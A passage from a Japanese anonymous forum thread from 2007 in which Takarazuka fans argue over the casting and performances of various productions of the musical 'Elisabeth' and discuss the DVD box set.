やはり初演雪組が作品としても一番素晴らしい
再演のたびに作品の価値を落としている

318 ：名無しさん＠花束いっぱい。：2007/08/17(金) 13:34:29 ID:jeNVGGHm

で、316さんはどこが気に入ってるの？
釣りかもしれんが、自分の好みを隠して悪口言ってるだけに見える。
ちなみに私は初演雪と、東宝で500回公演（？）やった時の演出が双璧だったけど
今回の雪も3回目位からかなり気に入ってDVD買いました。

319 ：名無しさん＠花束いっぱい。：2007/08/17(金) 13:42:52 ID:lnVLvZVZ

今全組見たら初演雪組トートが一番駄目（つまんねえ教科書トート）
シシィが雪花が一番良い、ルキーニはトドが一番良い。
フランツはどれでもいい（良いではない）。
ルドルフはターが良い、子ルドルフはトウコがいい。

つうことから初演がいいと感じるのは主役以外が役が嵌って
るからだよな。

320 ：名無しさん＠花束いっぱい。：2007/08/17(金) 13:49:14 ID:uP4NHhDE

水（観ず）嫌いなだけだよ。

321 ：名無しさん＠花束いっぱい。：2007/08/17(金) 14:05:23 ID:Fnu4ksgP

結局公演中（もう終わったけど）の組が見張ってるから、
ダメという意見には反論しまくりになるね。

322 ：名無しさん＠花束いっぱい。：2007/08/17(金) 14:31:20 ID:BqNqdeOw

水のトートはあーいうのもアリかとは思った。好きじゃないけどｗ
どうしても好きになれないのはとなみちゃんのシシィの方かな。
なぜにあのようにわざとらしい演技するんだろう。
入魂です、わたしがんばってますって、本人は陶酔してるだけに見えたよ？
ファンなら、となみちゃんが頑張ってるですむのかもしれないけど
押し付けがましいわざとらしい演技に思いっきり引いたし、萎えた。
いちいち大げさすぎるよ(＞＜)

今まで全組みてきたけど（東宝のも全バージョンみてるし）
一番感動したのは初演の雪。
ｼﾞﾌﾞﾝが中学生だったからかもしれないけどすごいものみたと思った。
でも今、DVDでみても一番感動するのはやっぱり初演の雪。
（けど昇天でシシィが膝まづいているのは、最初はなんとも思わなかったが
今となっては、あれはどうしてもヘンな気がする）
宙のも好き。花ちゃんのシシィが一番しっくりするから。
花ちゃんのシシィには対極だけど、みろりシシィも割と好き。
けどみろりちゃんは顔でかくて肩幅狭いから見た目が悪いのが惜しい。
トートは一番すきなのはオサトート。

323 ：名無しさん＠花束いっぱい。：2007/08/17(金) 14:35:50 ID:cHq+RJP/

　　　　　　　＿＿＿＿＿_
　　　　　／　　＼　　／＼　　　参院選は民主党に投票して
　　　　／　し（＞）　（＜）＼　　自民党にお灸を据えたんだ・・・
　　　　|　∪　　（__人__）　 J |　＿＿＿＿＿＿＿_
　　　＼　　u　　｀⌒´　　／　| |　　　　　　　　　　|
　　　　ノ　　　　　　　　　　　＼　| |　　　　　　　　　　|　
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　　　　／　し（＞）　（●）＼　チラッ
　　　　|　∪　　（__人__）　 J |　＿＿＿＿＿＿＿_
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　　　　／:::::::: （ ○）三（○）＼　　　
　　　　|::::::::::::::::::::（__人__）:::: 　|　＿＿＿＿＿＿＿_
　　　＼:::::::::　　|r┬-| 　 ,／　.| |　小沢氏がテロ対策法に難色・日米協調関係崩壊
　　　　ノ::::::::::::　　`ー'´　　　＼　| |　日経平均大暴落、急激な円高不況・大量失業時代へ突入
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324 ：名無しさん＠花束いっぱい。：2007/08/17(金) 14:43:54 ID:0YtzrB3i

>>319さんの好みに共感する点が多いな。

一路トートは真面目だけがとりえの優等生って感じ。
美しくも妖しくも面白くもなく、二度と聴きたいとは思わん。
せっかくの歌唱力も持ち腐れ。
お好きな方、どこに魅力をお感じで？？　本気で知りたいです。

325 ：名無しさん＠花束いっぱい。：2007/08/17(金) 15:56:05 ID:x6Ib8nme

初演は美化されるからね、でもこうＤＶＤ化されたんじゃ
初演もくそもないか、確かにイチロのトートは初演だから
誉められるんだと思う今日この頃。
男役十ウン年やってきた割に、つっ立って感情まるきりなく
時々出てきては歌うだけの能無しトートぽいな今となっては。

まあ、苦労したらしいけどね（初演だから・・）
雪だけ別物に見えるつう輩も別スレでみたから、
歌うだけで精一杯だったでしょうと同情もしたが
他生徒は立派に役柄演じてるからなあ？イチロだけが大根か。

326 ：名無しさん＠花束いっぱい。：2007/08/17(金) 15:56:05 ID:gBYHI8W/

他の主要キャストははまり役だけど、
一路さんだけ初演の中で浮いてる気がする…。
歌も癖があるからヲサの方が好きだな。

327 ：名無しさん＠花束いっぱい。：2007/08/17(金) 15:58:16 ID:gBYHI8W/

↑でも初演雪の絶妙な配役を考慮すれば許せるレベル。

328 ：名無しさん＠花束いっぱい。：2007/08/17(金) 16:06:43 ID:Fnu4ksgP

水ファン、初演を槍玉にあげるとは怖いもの知らず。

329 ：名無しさん＠花束いっぱい。：2007/08/17(金) 16:19:27 ID:x6Ib8nme

ﾌﾟﾌｳ｡｡｡
水ファンが初演叩きと思ってるめでたいねえ、思ってるほど
評判よくないいんよ、イチロタン。
イチロが最低に１０００堕トートポイント

330 ：名無しさん＠花束いっぱい。：2007/08/17(金) 17:00:02 ID:4E7G+sTK

亀レスだが･･･
>>304の「ゆみこの歌に聴き入ってしまった」に同意
ゆみこ、素敵！(*´ω｀*)

331 ：名無しさん＠花束いっぱい。：2007/08/17(金) 17:17:47 ID:64+vXS6x

エリザはもともと紙芝居みたいなミュージカルなんだよね。
だから歌唱で客をひっぱれないとﾁｮﾄつらい
しかも曲が平板だから歌唱力が露骨に問われる
今回はアンサンブルに救われた面もあったと思う
DVDは東京で収録してほしかった

332 ：名無しさん＠花束いっぱい。：2007/08/17(金) 17:35:48 ID:jsEknQ3U

一路、好きじゃなかったし
大劇で見たときは、単にきっちり歌ってるだけで
面白みも何もないトートだと思ったけど
東宝で楽近くに見たときは、歌だけは俄然良くなってたよ。

むしろ皆が絶賛する他のキャストの方が良いと思った人が少ない。
初演からいい！って思ったのは、轟ルキーニと古代マックスと朱ゾフィーのみ。
花總は綺麗だったし、必死でやってる感じは良かったけど、絶賛までは思わなかった。
高嶺フランツと香寿ルドルフは、下手ではなかったけど魅力がなかった。
特に香寿は・・・あのベチャベチャした歌い方がおばさんっぽくて、見た目もおばさんっぽくて駄目だった。

333 ：名無しさん＠花束いっぱい。：2007/08/17(金) 17:46:31 ID:7dQdW46U

じゃ結局初演というベールに包まれて美化されてるっつう事で
よろしいかな。

334 ：名無しさん＠花束いっぱい。：2007/08/17(金) 17:59:42 ID:RUUNTS9R

10年経っても一路と香寿の闇広最高って思ってる人間ここにいるんでﾉｼﾉｼ
感動して震えとまらんかった。

335 ：名無しさん＠花束いっぱい。：2007/08/17(金) 18:19:38 ID:7S9fkZFt

突然すみません。
ママを敬愛しているルドルフは多いけれど
「ママは僕の鏡」「私たちは似たもの同士」という関係に見えた
シシィ＆ルドって少なくない？

336 ：名無しさん＠花束いっぱい：2007/08/17(金) 18:41:56 ID:xx8PeiiW

生轟ルキーニをもう一度見たい

337 ：名無しさん＠花束いっぱい。：2007/08/17(金) 19:03:44 ID:6Jl8B08X

それいうなら、初演シシィを生で観たい！

338 ：名無しさん＠花束いっぱい。：2007/08/17(金) 19:11:23 ID:o4z5NiyM

334みたいなのがいることは否定しない。
でもここで書かれてる程多数派とはとても思えない。

実際、あの後香寿がそれでブレイクしたわけでもなければ
その後、もう一度一路Ｘ香寿の歌が聞きたい！ってファンにお目に掛かったことはｼﾞﾌﾞﾝはない。
大体、初演エリザの雪組メンバー、あの後誰も人気が上がってない。

339 ：名無しさん＠花束いっぱい。：2007/08/17(金) 19:22:22 ID:QdXddjcK

>>311
歴代のエリザは特別下手も何も、みんな歌ウマーな娘トプがやってたじゃん。
音痴はとなみが初でしょ。誰と比べてんだ？

340 ：名無しさん＠花束いっぱい。：2007/08/17(金) 19:27:05 ID:FLFZcIZw

>338
あの後初演雪含めて６回公演があったが、ブレイクらしい
ブレイクしたのは片手もいない

341 ：名無しさん＠花束いっぱい。：2007/08/17(金) 19:31:56 ID:pqtC2YR3

つーか、歌と芝居にかなりの波がある時点でとなみは舞台人失格。
東京エリザ３回見たけどうち２回は×だった。
１回目　前半はじけすぎで下品で失格
２回目　ヒステリック満開で歌がぶれまくり失格
３回目　相当注意をされたのか、おとなしく無表情で余計な事をして
　　　　いない分、歌に集中できたのか◎
こんなに波があるなら、駄目な日は割引して返金してほしいね。
シシイがイマイチだから、アンサンブルばっか見てた。こんな宝塚観劇は
初めてだった。シナちゃん可愛いね！。

342 ：名無しさん＠花束いっぱい。：2007/08/17(金) 19:36:58 ID:0gkQbbOk

＞歴代のエリザは特別下手も何も、みんな歌ウマーな娘トプがやってたじゃん。

ハナフサさん・・・

343 ：名無しさん＠花束いっぱい。：2007/08/17(金) 19:42:55 ID:Jn3s/miZ

アサコ・・・。

344 ：名無しさん＠花束いっぱい。：2007/08/17(金) 19:59:59 ID:uP4NHhDE

何て？？？

345 ：名無しさん＠花束いっぱい。：2007/08/17(金) 20:09:23 ID:hKR7I2rT

ハナフサさんもアサコさんもとなみよかマシ。
っていうか、となみは他の誰かに並べて語れるクラスじゃない。
一人だけランクが劣っている。場違いな存在。

346 ：名無しさん＠花束いっぱい。：2007/08/17(金) 20:13:05 ID:CTLADA5B

となみが出来悪いのはまるっと同意だが
みどりの芝居もアサコの歌も相当酷かったよー
かばってくれるファンが多くてネット操作されてる？
それと一番金返せと思ったのは
星エリザ初日のマリコトート閣下だwww

347 ：名無しさん＠花束いっぱい。：2007/08/17(金) 20:34:05 ID:uP4NHhDE

となみエリザ、東京は、楽に近づくに連れてよくなったと思う。
ルドの棺の場面なんて、涙したけどなあ。

348 ：名無しさん＠花束いっぱい。：2007/08/17(金) 20:38:46 ID:I0113y0V

>345
芝居はそうかもしれないが（アサコの芝居がそこまで上手いとも思わないけど）
歌はとなみの東京の方がましだと思うけど？

もっとも、見るたびにとなみの歌の出来は違ってたから
見た日によって感想は違う鴨。

ミドリも最初の頃は、芝居の情感がなくてかなりやばかったし
実際叩かれてた。
東京の楽の頃は、見違えるように良くなってたけど。

349 ：名無しさん＠花束いっぱい。：2007/08/17(金) 20:42:40 ID:B71AEADI

柩にテルが横たわっているって思って涙出るって言ってたよ

350 ：名無しさん＠花束いっぱい。：2007/08/17(金) 20:43:09 ID:hKR7I2rT

だからランクが低いんだよ。
柩の場面で哭けるのは当たり前なんだってば。
基本的レベルが劣っているから到達点までが低い…
そんなフォローしかできないことからして、となみの評価チェック箇所自体が新公レベル。

351 ：名無しさん＠花束いっぱい。：2007/08/17(金) 20:55:18 ID:HYIEskVz

そこまでとなみ酷いかなー。
絶賛される程じゃないのは確かだけど
あとは感性と好みの問題だと思うけど・・・

今回はｲｺｹの「愛と死の輪舞」を体現してた気がするから
水トートにはとなみシシィの演技でも間違いではない気がする
歌が日によって不安定なのは問題だけどね

ID:hKR7I2rTは余程となみシシィが気に入らないみたいだけど
取り敢えずsageてくれ

352 ：名無しさん＠花束いっぱい。：2007/08/17(金) 20:59:10 ID:SYg7NO7s

「愛と死の輪舞」体現してたってのも、ここだけの意見だからなー

353 ：名無しさん＠花束いっぱい。：2007/08/17(金) 21:00:06 ID:XCMGmbZY

愛と死とイカの輪舞

354 ：名無しさん＠花束いっぱい。：2007/08/17(金) 21:06:52 ID:hKR7I2rT

もともと今回の雪再演はウィーン版に近いものを目指したかったんではないの？
最初はそーいう意見多数だったじゃん。
都合のいいすりかえしてまでも、かばいたいのならそれでもいいけど。

355 ：名無しさん＠花束いっぱい。：2007/08/17(金) 21:29:43 ID:8hX73pXt

>354
つか、ウィーン版の引っ越し公演を見てるわけだから
影響は受けて当然かと。
しかも、少なくとも、ミズ、となみ、ゆみこ、ハマコはクンツェ氏のアドバイスを受けてるんだから
その影響も当然受ける(byＣＳ）。

実際、初日開いて直後の頃は、ゆみことハマコはウィーン版の影響受けてるｷｶﾞｽって感想多かったし。
となみに関しては、それがいいか悪いかはともかく、ウィーン版を見て、宝塚の娘役ヒロインと違って強さが必要だと感じたと言っていたわけで
それを体現すべく？目一杯パワフルにやろうとはしていたわけだから。

ミズに関しては、本人からそういう感想を聞いた覚えもないし、舞台の感想にもウィーン版の影響を感じたってのは見た覚えはないけど。

356 ：名無しさん＠花束いっぱい。：2007/08/17(金) 21:39:20 ID:MKa/290c

かばうわけではないが、トートがいない場面ではよかったと思ったよ。
でも、トートとの場面では、水トートが感情的な役作りだったから、
トートの気持ちはわかるけど、シシィの気持ちがそれに負けて伝わらなかった。
フランツは感情を抑えてるから、二人の場面はシシィの心のゆれがよくわかった。

357 ：名無しさん＠花束いっぱい。：2007/08/17(金) 21:43:00 ID:ImHSiGPN

水に限ってだけど舞台のＤＶＤ化は難しいね。
東京ＳＳ４列目センターで見た時は歴代トートの中で一番芝居が良くて
引き込まれたんだけど、ＤＶＤで見ると芝居が細かすぎて見てて疲れました。
水トートが苦手な人の気持ちが少し分かりました。
＆水アングルといってもそんなにアップじゃないんだね。宙エリザのイメージが
あったから、もっともっと水アップを期待してたので残念です。

358 ：名無しさん＠花束いっぱい。：2007/08/17(金) 21:44:04 ID:SYg7NO7s

水トートが変に感情的すぎた。
周囲とのバランス悪かった。

359 ：名無しさん＠花束いっぱい。：2007/08/17(金) 21:49:21 ID:hKR7I2rT

結局、雪の再演は、水、となみ共にダメだったというFAだね。

360 ：名無しさん＠花束いっぱい。：2007/08/17(金) 21:50:58 ID:XCMGmbZY

>357
どっかのスレにあったけど、舞台は生で見たら自分の主観で見られるけど
ＤＶＤだとカメラという客観が入るから見る側も第3者視線になるんだそうな

361 ：名無しさん＠花束いっぱい。：2007/08/17(金) 21:54:54 ID:nYhFiyKj

全公演みてるけど...
ぞわぞわ感は水トートが一番だった気がする。

362 ：名無しさん＠花束いっぱい。：2007/08/17(金) 21:58:11 ID:SYg7NO7s

あれほど人間らしいトートにぞわぞわはしなかったな。
ただ化粧が気持ち悪くて、口元が気になった、そのぞわぞわ感はあったけど。

363 ：名無しさん＠花束いっぱい。：2007/08/17(金) 22:10:50 ID:1dlVSqfB

周りとのバランスが悪いのが、トートのせいだけ？
感情的すぎるという解釈にも？？？？だけどね、私に言わせると。
ぎりぎりのところで、冷ややかにほくそえんだり、
静かな怒り、余裕の怒り、激しい怒り。
まあ、力説しても無駄か。

364 ：名無しさん＠花束いっぱい。：2007/08/17(金) 22:15:14 ID:Fnu4ksgP

それこそ、美化されすぎ

365 ：名無しさん＠花束いっぱい。：2007/08/17(金) 22:16:13 ID:CSLPXkid

>351
ｲｹｺって書くﾔｼはよく見るが、「ｲｺｹ」って書くﾔｼは初めて見たぞw

366 ：名無しさん＠花束いっぱい。：2007/08/17(金) 22:19:46 ID:cZpPsk25

水ＶＩＥＷで何度も見てるけど、霊廊で水がターンして赤いナイフを
出すところ、どこから出てるか検討がつきません･･･。誰か教えて！。
ドクトルの水ＶＩＥＷサイコー！しびれまくり！！全シーン水アングルで
販売希望！

367 ：名無しさん＠花束いっぱい。：2007/08/17(金) 22:23:11 ID:Sx0ZTFza

>363
ほぼ同意～。

それに感情的＝人間っぽいっていうのはちょっと違うとｵﾓ。
さらにいうと、あの表現を「感情的」っていっちゃうと
ニュアンスが変わるような・・・

そうね、こんなこといっても無駄か。

368 ：名無しさん＠花束いっぱい。：2007/08/17(金) 23:03:06 ID:tKkwRYVE

同じ大作再演で同じ雪組のベルばらは、あの破綻した脚本でも
よくやった、思ったよりずっと良かったという意見が大半で
後半しりあがりに人気が出てコムの代表作になった。
これに比べ、今回のミズエリザは失敗だったといえる。
トートより全ツのおかまオスカルの方がましだった。

369 ：名無しさん＠花束いっぱい。：2007/08/17(金) 23:08:23 ID:XCMGmbZY

>368
変な比較はよそうや

370 ：名無しさん＠花束いっぱい。：2007/08/17(金) 23:19:40 ID:hKR7I2rT

オサも水と同じくエリザがトプお披露目だった。
オサは当時から評価は高かったし、現在も歴代トートの中での評価は高い。
オサにあって水にないものは…本人の歌唱力とよい相手役。
こうして考えてみると、水は貧乏くじをひいた可哀想な人だ。

371 ：名無しさん＠花束いっぱい。：2007/08/17(金) 23:24:46 ID:Fnu4ksgP

水は周囲のキャストに助けられてたよ。
不運なんて。
お披露目と言っても、学年的には十分恵まれてただろ。

372 ：名無しさん＠花束いっぱい。：2007/08/17(金) 23:29:42 ID:/nbjM0Ng

終わって一週間近くたつのに、どーーしても今回の雪エリザが失敗と
いいたいのね。何だか痛々しいですね。

コンプリートボックス買って6組楽しんでるけど、
（生でも全組見てる）
そこまで断定するほどの欠陥がある舞台では、決してない。
好き嫌いはもちろんあるだろうけど。

今回の雪は演劇的なアプローチへの挑戦だったのでは。
歌の力だけで説得力を持たせる方向の舞台ではなかったかも
しれないが、最近のオペラもそういう傾向があるように、
リアルな感情表現というか、人物造型をステロタイプに色分けしなかった
ところが、とても興味深かった。白と黒の間、グレイゾーンがある感じ。
見れば見るほど、ハマル。

373 ：名無しさん＠花束いっぱい。：2007/08/17(金) 23:29:42 ID:jHJFPXSW

わたしは、雪エリザは成功だったと思ってる。
人それぞれなのね、感想って。
あんなに面白かったエリザベートは、無かったわ。

374 ：名無しさん＠花束いっぱい。：2007/08/17(金) 23:47:23 ID:uP4NHhDE

ID:hKR7I2rT、相当根が深いみたい。

375 ：名無しさん＠花束いっぱい。：2007/08/17(金) 23:53:09 ID:LTWXdQ8O

周囲の、なんて言わず、
となみやテルがダメだって言えばいいじゃない。

376 ：名無しさん＠花束いっぱい。：2007/08/18(土) 00:00:12 ID:BlGFl9a9

最終答弁、みずトート、ゆみこフランツに負けてますよ・・・。
勝たなきゃ、話がなりたたない～。
最後フランツシシー昇天でいんじゃないですか。

377 ：名無しさん＠花束いっぱい。：2007/08/18(土) 00:00:59 ID:j7utDbcd

根が深いというか、あんなかきわりのように単色単純大袈裟芝居のとなみを
グレイゾーンの白と黒の間の微妙な芝居ができるとか妙な擁護をするから
それは違うでしょと意見を述べているだけです。
演技でみせるというにはあまりに貧弱でお粗末すぎ。

378 ：名無しさん＠花束いっぱい。：2007/08/18(土) 00:07:48 ID:MY39oaWl

ID:hKR7I2rT=ID:j7utDbcd?
そんなにムキにならなくても。
髪薄くなるよ！！あっ

379 ：名無しさん＠花束いっぱい。：2007/08/18(土) 00:10:32 ID:FY2riS4I

>376
マジレスするのもなんだけど…
あそこはフランツの方が強くてもいいんじゃないの。
勝った方がシシィを手に入れるという単純なものではないでしょ。

380 ：名無しさん＠花束いっぱい。：2007/08/18(土) 00:13:21 ID:VIeCm0xY

>379
勝った方が、シシィの真実の愛を手に入れるって設定だと思いますが？

381 ：名無しさん＠花束いっぱい。：2007/08/18(土) 00:15:13 ID:HpKInthE

いや、そんな深い意味ないんだけど・・・。
ただ、歌完全に負けてるな・・・て思っただけだよん

382 ：名無しさん＠花束いっぱい。：2007/08/18(土) 00:20:24 ID:MY39oaWl

最終答弁なみのバトルだ。
因みに、歌負けてないよん。

383 ：名無しさん＠花束いっぱい。：2007/08/18(土) 00:27:18 ID:Dq5HmdcT

いや歌は完全に負けてるだろ。
そしてミルクでは完全にルキーニに負けてる･･･。

384 ：名無しさん＠花束いっぱい。：2007/08/18(土) 00:28:51 ID:isChK0mp

そんなの一年前からわかってたことだろｗ

385 ：名無しさん＠花束いっぱい。：2007/08/18(土) 00:29:40 ID:isChK0mp

>>380
連投すまんが、それはだいぶ違うと思うぞ

386 ：名無しさん＠花束いっぱい。：2007/08/18(土) 00:49:27 ID:Hhn7sIiO

>>376
ＩＤが大物

387 ：名無しさん＠花束いっぱい。：2007/08/18(土) 01:18:54 ID:HpKInthE

ほんとだｗ

388 ：名無しさん＠花束いっぱい。：2007/08/18(土) 01:21:51 ID:BnquhJew

♪大きいわっ、大物よっ

389 ：名無しさん＠花束いっぱい。：2007/08/18(土) 02:52:45 ID:943hCN4v

くわぁーー、なんだっけソレ！思い出せないっ
起きたら教えろ>388ｗ

390 ：名無しさん＠花束いっぱい。：2007/08/18(土) 05:19:03 ID:ustwyAVU

それ、月組で聞いた気がする・・・カエサル？？

391 ：388：2007/08/18(土) 08:08:45 ID:BnquhJew

うん、暁のローマ。
カエサルを讃える愛人達の歌。
一年前だよｗ

392 ：名無しさん＠花束いっぱい。：2007/08/18(土) 11:01:22 ID:+reCMJ3/

スカステご加入の方に伺いたいんですけど、
東宝エリザ千秋楽のニュース、複数カメラで撮られてたでしょうか？

火曜日に見てサクっと消してしまってからどうだっけと思ったのですが、
翌日以降放送がないもので確認できません。
雪スレで楽のカメラ台数を聞いてる方もおられたんですが
回答レスがないので、こちらで質問させていただこうと思いました。
よろしくお願い致します。

393 ：名無しさん＠花束いっぱい。：2007/08/18(土) 11:20:43 ID:WVvgoLER

>388
元ネタはｱﾐﾀﾝのお父様が出てたＣＭの歌だよね？

394 ：名無しさん＠花束いっぱい。：2007/08/18(土) 12:09:22 ID:x8KyS5BL

>392
東宝楽、１階は３台カメラが入ってたよ。
２階はわかりません。

395 ：名無しさん＠花束いっぱい。：2007/08/18(土) 13:04:07 ID:BnquhJew

>>393ああ、wiki見て知ったｗ

あ～、あみたんがいたら、
リヒテンシュタインかマダムヴォルフだったんだろうな～

396 ：名無しさん＠花束いっぱい。：2007/08/18(土) 13:06:16 ID:+reCMJ3/

>>394
392です。
放映されるか販売されるかわかりませんが、千秋楽舞台収録はあったということですね。
どうもありがとうございました。

397 ：名無しさん＠花束いっぱい。：2007/08/18(土) 14:00:37 ID:943hCN4v

>393 m9（・∀・）ｿﾚﾀﾞ!!　なんだか知らんがCMだった

>388 おはよう、今起きた
起きて教えてくれたのに、反応したのは↑だったよ、ｽﾏﾝ
>390もありまとなぁ

楽いつくらいに放送してくれるかなー

398 ：名無しさん＠花束いっぱい。：2007/08/18(土) 21:41:14 ID:f3bZo36x

今回の雪が最高でした。お芝居として感動できる。私はトップだけ目立つ演出をするミューが嫌いなので

399 ：名無しさん＠花束いっぱい。：2007/08/19(日) 00:22:04 ID:VJdHR1NG

♪そっそそくらてすかぷらとんか～にっにに～ちぇかさるとるか～

400 ：名無しさん＠花束いっぱい。：2007/08/19(日) 00:23:18 ID:sJzNbpHP

>398
再演雪に限らずエリザはﾄｯﾌﾟだけが目立つ作品ではない

401 ：名無しさん＠花束いっぱい。：2007/08/19(日) 00:24:54 ID:FYrWbrHF

>>399
♪みぃ～んななやんでおおきくなったぁ～

402 ：名無しさん＠花束いっぱい。：2007/08/19(日) 00:26:27 ID:sJzNbpHP

>399>401
おまいら、トシがバレるぞ

あーそろそろ送られてきたＤＶＤＢＯＸ開けないとなー
暑くてめんどくさくってさー

403 ：名無しさん＠花束いっぱい。：2007/08/19(日) 01:24:19 ID:dh85s+ml

皆さんラビットファーなどの毛皮は買う前に
どうやってウサギが殺されるか考えてみて下さい。
生きたまま乱暴に皮を剥がされるそうです。
悲し過ぎます。私達のお洒落のために
安い単価で取引されるので容赦なく殺されています。

404 ：名無しさん＠花束いっぱい。：2007/08/19(日) 11:53:12 ID:36oXXJx0

エリザBOX、やっと開けて初演を見始めた。

全体的な感想は歌ｳﾏｰなんだが、演歌っぽいね。
トート歌、感情なさすぎないか？どの場面も盛り上がりもなくﾂﾏﾗﾝ。手も小さいから手を広げた時の迫力不足。

ゆりちゃんは常にトート横に立ち目立っているね。

花シシィ、いろんな表情があって生き生きとしてる。

ユキフランツの衣装は安っぽくないか？ゾフィはすごい豪華な衣装なのに。

とどルキは男だ。

405 ：名無しさん＠花束いっぱい。：2007/08/19(日) 16:15:04 ID:tD/OEmIO

うん、私も初演はトートが淡々としてたなーとｵﾓﾀ。
トドルキは確か外人スタッフからも一人だけ男がいた、って言われたんじゃ？

406 ：sage：2007/08/19(日) 16:52:35 ID:uipYfCrE

犬顔家の闇広パロをご覧になった方いませんか。
本家に忙しくてチケ取り損ねたけど、面白いと評判らしいので。

407 ：名無しさん＠花束いっぱい。：2007/08/19(日) 16:53:03 ID:D/vhy0F2

>405
作曲のﾘｰｳﾞｧｲさんの奥さんだよ
「女性ばかりの劇団だって聞いてたのに嘘じゃない。一人だけ『男の子』がいる」
って言ってたのが、誰のことかと思えばﾄﾄﾞﾙｷのことだったw

408 ：名無しさん＠花束いっぱい。：2007/08/19(日) 18:05:49 ID:DQnWVHBS

有名な初演時ウィーンスタッフご観劇時の「１人男の子がいる！」ってヤツね＞とどルキ。
でもって、ウィーンに一緒に連れて帰りたいって言われた。
多分トドなら、そのままウィーンメンバーに混ぜても女だとばれないと思われたんだろうｗ
顔も日本人離れした顔だし。

409 ：名無しさん＠花束いっぱい。：2007/08/19(日) 18:24:19 ID:SNVU7BMF

最初にトドルキが出てきたとき
一瞬外人に見える。

花エリザＤＶＤ見た後に、初演ＤＶＤ見たから
衣装も、歌のリズムにも違和感あったけど
初演が断然一番好きだな～♪

410 ：名無しさん＠花束いっぱい。：2007/08/19(日) 19:42:06 ID:c1x/Pbag

初演は基本形って感じ、端正。
以降の組のを見比べる時に、一度初演に戻ってから見ると
それぞれの良さ（敢えて悪さは言わない）がわかる。

411 ：名無しさん＠花束いっぱい。：2007/08/19(日) 20:43:24 ID:oQCJqjUw

>406
あの『お湯にのぼせる』？すごくしょーもない歌詞ですねー馬鹿にしてるとしか思えん！

412 ：名無しさん＠花束いっぱい。：2007/08/19(日) 21:06:28 ID:QGRfN6SZ

馬鹿にはしてないと思うよ。
あの演出・脚本してる方はほんっとに宝塚とかエリザとか愛してるから。

413 ：名無しさん＠花束いっぱい。：2007/08/19(日) 21:18:46 ID:TCD9M8DI

初演の場合、花總、轟、朱、美穂は特に出来がよかったと思う
なのに再演の花總が魅力的でなかったのが残念

414 ：名無しさん＠花束いっぱい。：2007/08/19(日) 22:31:21 ID:gLIG7ebU

初演雪のリヒテンシュタインのひと超歌下手だね。

415 ：名無しさん＠花束いっぱい。：2007/08/19(日) 23:43:31 ID:0ZYjkhTC

夜のボートのところでフランツが君の港は？の問いに
シシィが「わからない、でもずっと誰かが待っている」と答えたのに対し
どこなんだい？と聞くのがいつも違和感感じる。
こう答えられたら、フランツとしては「誰なんだ？」
と聞きたくなるのが自然ではないかとw

416 ：名無しさん＠花束いっぱい。：2007/08/19(日) 23:48:56 ID:hr2+nfHY

>414
あれは黒歴史。初演雪全体の評価を一人で下げてる。

417 ：名無しさん＠花束いっぱい。：2007/08/19(日) 23:54:48 ID:y+426yKw

>>414,416
記憶の底に封じ込めて忘れてたよw
好きだったんだけどなー。
エリザの世界観にははまらない人だったわ。

418 ：名無しさん＠花束いっぱい。：2007/08/20(月) 01:39:09 ID:w+x233rU

>413
シシィパパの評価もいいんじゃない？

>415
笑える～
確かに、シシィを愛するフランツだから
自分ではない誰かが待っていると言われたら、
それは誰だ、誰なんだ！と聞きたくなるかも

419 ：名無しさん＠花束いっぱい。：2007/08/20(月) 01:40:34 ID:vM3bBAl4

>>415
それは寧ろベルばらの世界ｗ

420 ：名無しさん＠花束いっぱい。：2007/08/20(月) 08:59:20 ID:zJTTRT2u

初演のﾘﾋﾃﾝｼｭﾀｲﾝの人って？

421 ：名無しさん＠花束いっぱい。：2007/08/20(月) 09:06:21 ID:Po/eqyiv

小乙女幸だっけ？

私的には星の朋舞花がしんねりした雰囲気であってると思った。
上品ぶってイヤミな感じ？すまん、悪気はないｗ

422 ：名無しさん＠花束いっぱい。：2007/08/20(月) 09:45:22 ID:4NDsCTST

>>415
もうフランツには聞こえてないと思う。つーか、聞いてない。聞きたくない。
ここまで逃げられ逃げられて、やっと話せたと思ったら「誰かが」ってアンタ…
待ってるのは俺なのに。誰だよ、その「誰か」って。違う「オレ」か？
だから、あえて「どこなんだい？？」なんだと思う。
適当に聞き流すって、ある程度の年月を経て得た、波風たてない方法なんですよ。

423 ：名無しさん＠花束いっぱい。：2007/08/20(月) 09:54:43 ID:BIFsE52u

シシィ自身が｢誰か…｣って言ってるから、誰かを聞いても無駄ってことでは。
｢ずっとあの人が待っている…｣だったら聞いたかもw

424 ：名無しさん＠花束いっぱい。：2007/08/20(月) 10:08:17 ID:zTUqUTTW

確かに、待っている自分（フランツ）を前にして「誰かが待ってる」って、
要はアンタ以外の誰かよ！って二度目の最後通帳突き付けられてるようなw
フランツの脳内でこそ闇が広がりまくったろうにな…

425 ：名無しさん＠花束いっぱい。：2007/08/20(月) 10:10:09 ID:gckItc4b

ゾフィーは知性的と乱雑のニタイプに分かれている気がする。
知性的みちるさん、びびあんりー、ハマコ
乱雑タキさん、はっちさん
みみあんさんどうしようかと思ったけど

426 ：名無しさん＠花束いっぱい。：2007/08/20(月) 11:15:20 ID:7+g56q4g

「夜のボート」初演はシシィのフランツへの拒否っぷりが凄くて
それ故にすごく泣けるシーンになっていると思う。
ウィーン版も見るにつけ、あそこはあれで正解なのだと再認識、
それ以降のはいずれも（ﾊﾅﾌｻの宙版も)シシィのフランツを突き放す感が足りずに
かえって場面の切なさが目減りしていてもったいない。

427 ：名無しさん＠花束いっぱい。：2007/08/20(月) 11:19:02 ID:v+O7PDfz

>424
フランツかわいそうだぉ(ﾉω；)

428 ：名無しさん＠花束いっぱい。：2007/08/20(月) 12:14:01 ID:IsERcbZb

>>421
私もちよさんが一番好きかも。
声はちょっと弱かったけど、音程は外さなかったし。
歌劇の座談会で、
「あなたはダンサーだけど、入団時１番だったんだから歌えるでしょ」
的なことを演出家？歌唱指導？に言われてて、
今まで歌わせてこなかった人に向かって、すごいこと言うな～と思ったっけ。

429 ：名無しさん＠花束いっぱい。：2007/08/20(月) 17:26:37 ID:w+x233rU

>426
フランツに初めてキスされる時もちょっと嫌がっているよ。

上にも書いてあるが、りんごさんがダメだね。美穂姉と逆のほうが良かったんじゃ？

絶賛されたほどじゃなかった。

質問なんだが、昔出てたビデオと違う映像？

430 ：名無しさん＠花束いっぱい。：2007/08/20(月) 18:15:41 ID:5IoOEoMT

>429
同じﾏｽﾀｰ使ってるから一緒だよ＞DVD
特に初演雪星は１、２幕の幕間にIntermissionで使われてる映像まで一緒でﾜﾛﾀけどw

431 ：名無しさん＠花束いっぱい。：2007/08/20(月) 22:07:52 ID:CjsR0ivM

ＤＶＤを字幕付きで見てて思ったのですが、
